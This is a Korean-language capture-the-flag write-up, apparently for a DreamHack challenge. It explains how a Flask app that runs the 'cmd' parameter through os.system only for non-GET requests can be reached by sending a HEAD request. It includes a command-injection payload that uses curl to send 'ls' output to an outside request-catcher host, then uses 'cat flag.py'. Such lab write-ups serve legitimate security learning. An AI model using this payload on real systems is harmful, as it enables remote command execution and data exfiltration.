
주어진 소스코드부터 살펴보자.
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
간단하게 / 엔드포인트에 대한 정의가 되어있다.
메소드는 GET 메소드만 허용하며,
cmd 파라미터를 이용하여 GET 메소드가 아닐경우
os.system(cmd) 가 실행되어 시스템 파일에 접근할 수 있다.
코드가 간단한 만큼 시도해볼 방법이 많지 않다.
일단 GET 메소드로는 절대 os.system(cmd)를 실행시킬 수 없다.
여기서 GET 메소드와 유사한 HEAD 메소드를 생각해볼 수 있다.
HEAD 메소드는 GET 메소드와 동일하지만 body 부분을 제외하고
상태 줄과 헤더만 응답받는 메소드이다.
이러한 메소드가 있는 이유는 큰 파일이나 응답 본문을 다운로드하기 전에
GET 요청이 어떠한 내용을 반환하는지 확인하는 데 사용한다.
HTTP/1.1 표준에 HEAD 메소드에 대해 확인해보면 이 메소드는 GET 요청과
동일한 응답 헤더를 가져야 하며, 본문(body)은 없어야 한다고 명시되어있다.
이러한 점을 고려하여 HEAD 요청이 들어오면 GET 핸들러를 사용하여
헤더를 생성한 후 본문 데이터를 제외하고 응답을 반환하게 된다.
그렇다면 왜 굳이 GET 핸들러를 호출해서 헤더를 생성한 후 데이터를 제외시킬까,
단순히 HEAD 요청에 대해선 헤더만 생성하면 될 것 같다고 생각하게 된다.
최적화가 필요한 경우 일부 상황에선 HEAD 요청을 처리할 때
GET 핸들러를 호출하지 않고도 효율적으로 헤더를 생성할 수 있으나,
HEAD 요청과 GET 요청에서 동일한 헤더를 반환하므로 일단 코드 및
생성 로직이 중복되며, GET 요청과 HEAD 요청에서 반환되는
헤더가 다를 가능성이 생겨 일관성 문제가 생길 수 있다.
서버측에서는 cmd 파라미터의 값 외에는 확인할 수 있는 결과가 없다.
따라서 os.system(cmd) 에 대한 결과를 확인할 수 있는
다른 서버로 요청을 보내야 하며, SHELL 커맨드라인 환경에서 url로
데이터를 전송하는 curl 명령어를 사용하여 보내야 한다.
응답 요청을 받을 곳을 DreamHack Tools 에서 정의해주고
이쪽으로 curl 요청을 보낸다.
요청은 HEAD 메소드를 사용하며 파라미터는 다음과 같이 작성한다.
?cmd=curl https://mvesuyo.request.dreamhack.games -d "$(ls)"
Postman을 통하여 HEAD 메소드로 요청을 보냈고, 응답을 확인해보면
다음과 같이 Body 부분에 ls 명령의 실행결과를 볼 수 있다.
마지막으로 cat flag.py 를 사용하여 Flag를 획득할 수 있다.